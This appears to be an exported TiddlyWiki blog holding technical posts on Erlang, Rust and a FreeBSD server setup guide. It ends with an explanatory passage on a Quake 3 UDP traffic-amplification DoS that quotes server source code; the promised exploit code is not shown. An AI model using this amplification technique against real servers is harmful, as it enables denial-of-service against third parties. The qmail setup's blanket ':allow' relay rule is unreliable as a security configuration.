<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected {color:[[ColorPalette::PrimaryDark]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

.wizard .notChanged {background:transparent;}
.wizard .changedLocally {background:#80ff80;}
.wizard .changedServer {background:#8080ff;}
.wizard .changedBoth {background:#ff8080;}
.wizard .notFound {background:#ffff80;}
.wizard .putToServer {background:#ff80ff;}
.wizard .gotFromServer {background:#80ffff;}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}
.readOnly {background:[[ColorPalette::TertiaryPale]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:alpha(opacity=60);}
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0; top:0;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0 0 0.5em;}
.tab {margin:0 0 0 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0 0.25em; padding:0 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0 3px 0 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0; font-size:.9em;}
.editorFooter .button {padding-top:0; padding-bottom:0;}

.fieldsetFix {border:0; padding:0; margin:1px 0px;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
#displayArea {margin: 1em 1em 0em;}
noscript {display:none;} /* Fixes a feature in Firefox where print preview displays the noscript content */
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
<div class='toolbar' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[MainMenu]]: The menu (usually on the left)
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser

Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])

<<option txtUserName>>
<<option chkSaveBackups>> [[SaveBackups]]
<<option chkAutoSave>> [[AutoSave]]
<<option chkRegExpSearch>> [[RegExpSearch]]
<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
<<option chkAnimate>> [[EnableAnimations]]

Also see [[AdvancedOptions]]
Erlang’s notion of equality can be confusing, especially when dealing with numeric types. Recall the Erlang term order:
number < atom < reference < fun < port < pid < tuple < list < binary
* Lists are compared element by element.
* Tuples are ordered by size, two tuples with the same size are compared element by element.
Most operators promote integer operands to floats.
| op  | 1 op 1.0 |
| ==  | true     |
| =:= | false    |
| /=  | false    |
| =/= | true     |
=< and >= use ==-equality. We have:
Eshell V5.7.4  (abort with ^G)
1> [1, 2] < [2].
2> {1.0} =< {1}.
Particular care must be taken when using numbers as part of the key in one of the standard collections. Trying to look up the result of an arithmetic expression involving a float in a collection which uses =:= internally often annoys.
| module       | op  |
| dict         | =:= |
| orddict      | ==  |
| proplists    | =:= |
| gb_trees     | ==  |
| sets         | =:= |
| ordsets      | ==  |
| gb_sets      | ==  |
| lists:key*   | ==  |
| lists:ukey*  | ==  |
| lists:delete | =:= |
| lists:member | =:= |
C.f. [[this|https://groups.google.com/group/erlang-programming/browse_thread/thread/b616e9f2703453ae]] recent thread on the erlang-questions list.
Mutable byte arrays are one of Erlang’s most under-appreciated features. The byte array ~BIFs are defined in //erts/emulator/hipe/hipe_bif0.c// – the API is given below.
-spec bytearray(non_neg_fixnum(), byte()) -> bytearray().
-spec bytearray_sub(bytearray(), non_neg_fixnum()) -> byte().
-spec bytearray_update(bytearray(), non_neg_fixnum(), byte()) -> bytearray().
Eshell V5.7.4  (abort with ^G)
1> A = hipe_bifs:bytearray(10, 0).
2> hipe_bifs:bytearray_sub(A, 0).
3> hipe_bifs:bytearray_update(A, 0, 1).
4> A.
5> hipe_bifs:bytearray_sub(A, 0).
What could possibly go wrong? Facebook uses hipe_bifs:bytearrays and so should you!

I’ve been wondering about the overhead incurred by using Erlang’s //disk_log// (instead of plain old //file//) for simple, append-only term storage. It turns out there is essentially none.
Erlang R13B04 (erts-5.7.5) [source] [64-bit] [smp:4:4] [rq:4] [async-threads:0] [kernel-poll:false]

Eshell V5.7.5  (abort with ^G)
1> c(bench).
2> bench:bench().
time(bench):           7438.615ms disk_log
time(bench):           7510.093ms file
time(bench):          41961.662ms disk_log_sync
time(bench):          40884.254ms file_sync
3> bench:bench().
time(bench):           7399.243ms disk_log
time(bench):           7485.069ms file
time(bench):          41741.028ms disk_log_sync
time(bench):          42417.001ms file_sync
4> bench:bench().
time(bench):           7404.627ms disk_log
time(bench):           7530.133ms file
time(bench):          41294.755ms disk_log_sync
time(bench):          41174.412ms file_sync
Code available: https://gist.github.com/829306

Same comparison on a modern commodity SSD:
Erlang R14B03 (erts-5.8.4) [source] [64-bit] [smp:4:4] [rq:4] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8.4 (abort with ^G)
1> c(bench).
2> bench:bench().
time(bench): 6193.493ms disk_log
time(bench): 6295.853ms file
time(bench): 22405.512ms disk_log_sync
time(bench): 22422.493ms file_sync
3> bench:bench().
time(bench): 6316.854ms disk_log
time(bench): 6337.419ms file
time(bench): 22216.919ms disk_log_sync
time(bench): 22234.268ms file_sync
4> bench:bench().
time(bench): 6270.888ms disk_log
time(bench): 6337.806ms file
time(bench): 22261.496ms disk_log_sync
time(bench): 22290.733ms file_sync
Thanks, Uwe!
The ~StackExchange site for theoretical CS discussion has been around for well over a year now, and it's been host to a number of interesting threads. My favorites include:
#[[What's new in purely functional data structures since Okasaki?|http://cstheory.stackexchange.com/questions/1539/whats-new-in-purely-functional-data-structures-since-okasaki]]
#[[Is Magic: the Gathering Turing complete?|http://cstheory.stackexchange.com/questions/2052/is-magic-the-gathering-turing-complete]]
#[[Can the cost of GC be neglected when analyzing the running time of worst-case data structures specified in a garbage-collected programming language?|http://cstheory.stackexchange.com/questions/2720/can-the-cost-of-gc-be-neglected-when-analyzing-the-running-time-of-worst-case-da]]
#[[What would you advise someone who wants to do research as a hobby?|http://cstheory.stackexchange.com/questions/2966/what-would-you-advise-someone-who-wants-to-do-research-as-a-hobby]]
#[[Common false beliefs in theoretical computer science|http://cstheory.stackexchange.com/questions/3616/common-false-beliefs-in-theoretical-computer-science]]
#[[How do I choose a functional dictionary data structure?|http://cstheory.stackexchange.com/questions/4007/how-do-i-choose-a-functional-dictionary-data-structure]]
#[[Powerful Algorithms too complex to implement|http://cstheory.stackexchange.com/questions/4491/powerful-algorithms-too-complex-to-implement]]
#[[How do you get a “Physical Intuition” for results in TCS?|http://cstheory.stackexchange.com/questions/4806/how-do-you-get-a-physical-intuition-for-results-in-tcs]]
#[[Axioms necessary for theoretical computer science|http://cstheory.stackexchange.com/questions/4816/axioms-necessary-for-theoretical-computer-science]]
#[[Succinct data structures survey?|http://cstheory.stackexchange.com/questions/5010/succinct-data-structures-survey]]
#[[Super Mario Galaxy problem|http://cstheory.stackexchange.com/questions/6356/super-mario-galaxy-problem]]
#[[Casual tours around proofs|http://cstheory.stackexchange.com/questions/8869/casual-tours-around-proofs]]
#[[Original proofs generated on the parent site|http://meta.cstheory.stackexchange.com/questions/784/original-proofs-generated-on-the-parent-site]]
Following the release of version 0.1, I had another look at Mozilla's new systems programming language.

If Go is C revisited by C hackers, Rust is C revisited by ML hackers.

The language has come a long way since the initial announcement over a year ago. There's a new website, documentation, a standard library, and the compiler has been ported from ~OCaml to Rust itself.
Rust tries to combine C-like support for low-level programming (control over memory layout and management) with features found in modern functional programming languages (pattern matching, type inference, and higher-order functions are all present, albeit in a more restricted form than you'd find in ~OCaml or Erlang), message-passing concurrency, and lots of static safety checking thanks to its type, kind and typestate systems. There's also a preprocessor, with a macro system currently in development. Immutability is the default. The syntax is a mix of C++ and ~OCaml.

Rust exposes more implementation details than most current programming languages (e.g. the programmer explicitly creates either stack- or heap-allocated closures) which will hopefully pay off when it comes to tuning performance-critical systems code.

Concurrency is based on ''tasks'' which do not share data and communicate via message passing. Messages are sent through typed channels. Spawning tasks creates an implicit supervision tree where failures are propagated to the parent.

Rust's typestate system is particularly interesting to me. Intuitively, in addition to having a type, objects are in different typestates of that type at different points in the program (e.g. initialized or uninitialized). Operations cause typestate-transitions, defined by a typestate-precondition and a set of typestate-postconditions. The operations in a program therefore induce a graph on typestates which the typestate-algorithm tracks at compile-time.
For basic blocks, the algorithms simply applies the transitions associated with each operation on the in-typestate to get the out-typestates. The in-typestate of a basic block is the greatest lower bound of the out-typestates of all basic blocks preceding that basic block in the control-flow graph. In practice, this means that certain assertions can be checked statically.
In particular, the ''check'' keyword guarantees that its argument, a pure predicate applied to immutable values, would have returned true //if// that point of the program is actually reached.
@@clear:both;display:block; @@
I was a bit disappointed by the lack of support for alternative operating systems (BSD Unices, illumos/~SmartOS), but aside from that, congratulations to the Rust team for shipping their first major release and I hope to  have written an actual Rust program before 0.2 is out.

Homepage - http://www.rust-lang.org/
Typestate paper - http://www.cs.cmu.edu/~aldrich/papers/classic/tse12-typestate.pdf
Set up a personal cloud in less than 30 minutes!

I'm using a [[Panix VPS|http://www.panix.com/corp/v-colo/vplans.html]], which lets me run ~FreeBSD (on Xen).

Once you've signed up, you need to pick an OS via
V-Colo management -> OS Loader
when that's done, restart your machine from
V-Colo management -> VPS Info -> Status
you can then find the public address of your instance under
V-Colo management -> Tools -> IPv4 Tools

[[Gandi|https://www.gandi.net/]] has been my naming provider of choice for several years now. My zone file looks like so:
Name   Type Value        TTL
@      A  3h
bliki  A  3h
canned A  3h
lists  A  3h
mx     A  3h
planet A  3h
@      MX   mx (10)      3h

!!!Basic ~FreeBSD Configuration
# adduser
(Remember to add your new user to group ''wheel'').

# pkg_add -r mg wget tmux autotools gmake portmaster git

Disable remote root logins on the server by setting ''~PermitRootLogin'' to ''no'':
# mg /etc/ssh/sshd_config
Enable password-less logins from your laptop/workstation:
$ scp ~/.ssh/id_rsa.pub jakob@primat.es:/home/jakob/.ssh/authorized_keys

!!!!Duo Security
# pkg_add -r duo
# mg /usr/local/etc/duo/login_duo.conf
# echo "ForceCommand /usr/local/sbin/login_duo" >> /etc/ssh/sshd_config
# /etc/rc.d/sshd restart
See also: http://www.duosecurity.com/docs/duounix

# pkg_add -r nginx
# rm /usr/local/etc/nginx/nginx.conf
# ln -s /home/jakob/www/nginx.conf /usr/local/etc/nginx/nginx.conf
# echo 'nginx_enable="YES"' >> /etc/rc.conf
# /usr/local/etc/rc.d/nginx start

!!!!Planet Venus
# portmaster textproc/py-libxml2
# portmaster textproc/py-libxslt
# portmaster databases/py-bsddb
# cd /opt
# git clone https://github.com/rubys/venus.git
# cd venus
# python runtests.py
$ echo "@hourly cd /home/jakob/www/planet && python /opt/venus/planet.py config.ini" >> ~/.crontab
$ crontab ~/.crontab

Install packages:
# pkg_add -r qmail
# pkg_add -r ucspi-tcp
Configure qmail:
# echo primat.es > /var/qmail/locals
# echo primat.es > /var/qmail/me
# echo primat.es > /var/qmail/rcpthosts
Default aliases:
# echo jakob > /var/qmail/alias/.qmail-root 
# echo jakob > /var/qmail/alias/.qmail-postmaster 
# echo jakob > /var/qmail/alias/.qmail-mailer-daemon 
Configure qmail-smtpd:
# echo ',RELAYCLIENT=""' > /etc/tcp.smtp
# echo :allow >> /etc/tcp.smtp
Configure user:
$ /var/qmail/bin/maildirmake ~/Maildir
$ echo "./Maildir/" > ~/.qmail
Enable qmail:
# /var/qmail/scripts/enable-qmail
# echo qmailsmtpd_enable="YES" >> /etc/rc.conf
Start qmail:
# /etc/rc.d/sendmail stop
# cp /var/qmail/boot/maildir /var/qmail/rc
# /usr/local/etc/rc.d/qmail.sh start
# ln -s /var/qmail/rc-smtpd /usr/local/rc.d/qmail-smtpd.sh
# cp /var/qmail/boot/qmail-smtpd.rcNG /var/qmail/rc-smtpd
# /usr/local/rc.d/qmail-smtp.sh start

A common Erlang performance issue is that selective receives can take a lot of time when the receiving process has a long message-queue.
R14 introduced a compile-time optimization which allows for O(1) receive.
If static analysis can show that a receive-statement selects exclusively based on a freshly generated reference, special BEAM instructions will be generated which avoid a scan of the message-queue.

In particular, if instead of
receive bar -> ok end
we write
Ref = make_ref(),
receive {Ref, bar} -> ok end
we'll benefit from this optimization.

Looking at the BEAM assembly (''erlc -S''), we see that the compiler inserted ''recv_mark'' and ''recv_set'' instructions to save the current message-queue pointer and jump to it just before the receive.

Code: https://gist.github.com/4176424
Assembly: https://gist.github.com/4176609
Microbenchmark: https://gist.github.com/4176431

Suppose Alice wishes to launch a ~DoS attack against Bob. She will rarely want to connect to Bob directly, but would rather get Carol to do so on her behalf. It would be particularly efficient if she could somehow convince Carol to send N bytes to Bob for every M bytes she sends to Carol, where N > M. This is called a traffic amplification attack. Perhaps the most popular traffic amplification tool is the global DNSSEC network, which allows for amplification by up to a factor of 50 (see [1]).


An even more efficient attack was posted to bugtraq in March of 2012 [2]. I haven't seen any exploit code, so I will show some now (mostly because I wanted to try nping - I've completely forgotten how to use hping2 and figured now might be a good time to switch). First, let's have a look at the vulnerability.

Quake 3 servers implement a  ~UDP-based protocol which supports several out-of-band meta-queries about the server (in addition to game-related messages). UDP addresses are trivial to spoof, so all that's left to do is find a query with a large reply payload. ''getstatus'' FTW (from sv_main.c): 
static void SVC_Status( netadr_t from ) {
	char	status[MAX_MSGLEN];
	char	infostring[MAX_INFO_STRING];

        // Code which fills status and infostring.

	NET_OutOfBandPrint( NS_SERVER, from, "statusResponse\n%s\n%s", infostring, status );
~MAX_MSGLEN (16384) and ~MAX_INFO_STRING (1024) are defined in qcommon.h. So, in theory this might cause a 17424-byte packet to be sent.
